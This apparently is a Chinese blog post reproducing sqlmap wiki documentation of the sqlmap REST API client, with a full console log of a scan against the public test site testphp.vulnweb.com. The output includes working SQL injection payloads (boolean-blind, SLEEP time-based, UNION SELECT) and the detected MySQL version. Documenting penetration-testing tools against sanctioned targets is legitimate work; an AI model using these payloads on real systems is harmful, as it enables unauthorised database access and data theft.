[12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages
[12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages

示例客户端运行:

$ python sqlmapapi.py -c -H "192.168.110.1"
[12:47:53] [DEBUG] Example client access from command line:
    $ taskid=$(curl http://192.168.110.1:8775/task/new 2>1 | grep -o -I '[a-f0-9
]\{16\}') && echo $taskid
    $ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testp
hp.vulnweb.com/artists.php?artist=1"}' http://192.168.110.1:8775/scan/$taskid/st
art
    $ curl http://192.168.110.1:8775/scan/$taskid/data
    $ curl http://192.168.110.1:8775/scan/$taskid/log
[12:47:53] [INFO] Starting REST-JSON API client to 'http://192.168.110.1:8775'..
.
[12:47:53] [DEBUG] Calling http://192.168.110.1:8775
[12:47:53] [INFO] Type 'help' or '?' for list of available commands
api> ?
help        Show this help message
new ARGS    Start a new scan task with provided arguments (e.g. 'new -u "http://
testphp.vulnweb.com/artists.php?artist=1"')
use TASKID  Switch current context to different task (e.g. 'use c04d8c5c7582efb4
')
data        Retrieve and show data for current task
log         Retrieve and show log for current task
status      Retrieve and show status for current task
stop        Stop current task
kill        Kill current task
list        Display all tasks
flush       Flush tasks (delete all tasks)
exit        Exit this client
api> new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s
ession
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new
[12:48:10] [INFO] New task ID is 'a42ddaef02e976f0'
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start
[12:48:10] [INFO] Scanning started
api (a42ddaef02e976f0)> status
[12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "running", 
    "returncode": null, 
    "success": true
}
api (a42ddaef02e976f0)> status
[12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "terminated", 
    "returncode": 0, 
    "success": true
}
api (a42ddaef02e976f0)> log
[12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log
{
    "log": [
        {
            "message": "flushing session file", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing connection to the target URL", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "checking if the target is protected by some kind of WAF/
IPS/IDS", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing if the target URL is stable", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "target URL is stable", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing if GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "confirming that GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "heuristic (basic) test shows that GET parameter 'artist'
 might be injectable (possible DBMS: 'MySQL')", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing for SQL injection on GET parameter 'artist'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing 'AND boolean-based blind - WHERE or HAVING claus
e'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter 'artist' appears to be 'AND boolean-based 
blind - WHERE or HAVING clause' injectable (with --string=\"hac\")", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (BIGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (BIGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (EXP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING,
 ORDER BY or GROUP BY clause (JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING c
lause (JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (EXTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (UPDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (UPDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING cla
use (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL OR error-based - WHERE or HAVING clause (
FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (E
XTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (B
IGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (E
XP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 error-based - Parameter replace 
(JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 error-based - Parameter replace (F
LOOR)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (U
PDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (E
XTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL inline queries'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (comment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP - c
omment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query - c
omment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.0.12 AND time-based blind'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AN
D time-based blind' injectable ", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "testing 'Generic UNION query (NULL) - 1 to 20 columns'", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "automatically extending ranges for UNION query injection
 technique tests as there is at least one other (potential) technique found", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "'ORDER BY' technique appears to be usable. This should r
educe the time needed to find the right number of query columns. Automatically e
xtending the range for current UNION query injection technique test", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "target URL appears to have 3 columns in query", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "GET parameter 'artist' is 'Generic UNION query (NULL) - 
1 to 20 columns' injectable", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "the back-end DBMS is MySQL", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "fetching banner", 
            "level": "INFO", 
            "time": "12:48:24"
        }
    ], 
    "success": true
}
api (a42ddaef02e976f0)> data
[12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data
{
    "data": [
        {
            "status": 1, 
            "type": 0, 
            "value": [
                {
                    "dbms": "MySQL", 
                    "suffix": "", 
                    "clause": [
                        1, 
                        9
                    ], 
                    "notes": [], 
                    "ptype": 1, 
                    "dbms_version": [
                        ">= 5.0.12"
                    ], 
                    "prefix": "", 
                    "place": "GET", 
                    "os": null, 
                    "conf": {
                        "code": null, 
                        "string": "hac", 
                        "notString": null, 
                        "titles": false, 
                        "regexp": null, 
                        "textOnly": false, 
                        "optimize": false
                    }, 
                    "parameter": "artist", 
                    "data": {
                        "1": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "AND boolean-based blind - WHERE or HAVING 
clause", 
                            "templatePayload": null, 
                            "vector": "AND [INFERENCE]", 
                            "falseCode": 200, 
                            "where": 1, 
                            "payload": "artist=1 AND 2794=2794"
                        }, 
                        "5": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "MySQL >= 5.0.12 AND time-based blind", 
                            "templatePayload": null, 
                            "vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE
EPTIME]),[RANDNUM])", 
                            "falseCode": null, 
                            "where": 1, 
                            "payload": "artist=1 AND SLEEP([SLEEPTIME])"
                        }, 
                        "6": {
                            "comment": "[GENERIC_SQL_COMMENT]", 
                            "matchRatio": 0.85, 
                            "trueCode": null, 
                            "title": "Generic UNION query (NULL) - 1 to 20 colum
ns", 
                            "templatePayload": null, 
                            "vector": [
                                2, 
                                3, 
                                "[GENERIC_SQL_COMMENT]", 
                                "", 
                                "", 
                                "NULL", 
                                2, 
                                false, 
                                false
                            ], 
                            "falseCode": null, 
                            "where": 2, 
                            "payload": "artist=-5376 UNION ALL SELECT NULL,NULL,
CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649
704c68614672644a477474,0x7162717171)-- aAjy"
                        }
                    }
                }
            ]
        }, 
        {
            "status": 1, 
            "type": 2, 
            "value": "5.1.73-0ubuntu0.10.04.1"
        }
    ], 
    "success": true, 
    "error": []
}
api (a42ddaef02e976f0)> exit
$

数据来源:https://github.com/sqlmapproject/sqlmap/wiki/Usage

部分内容自行翻译

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言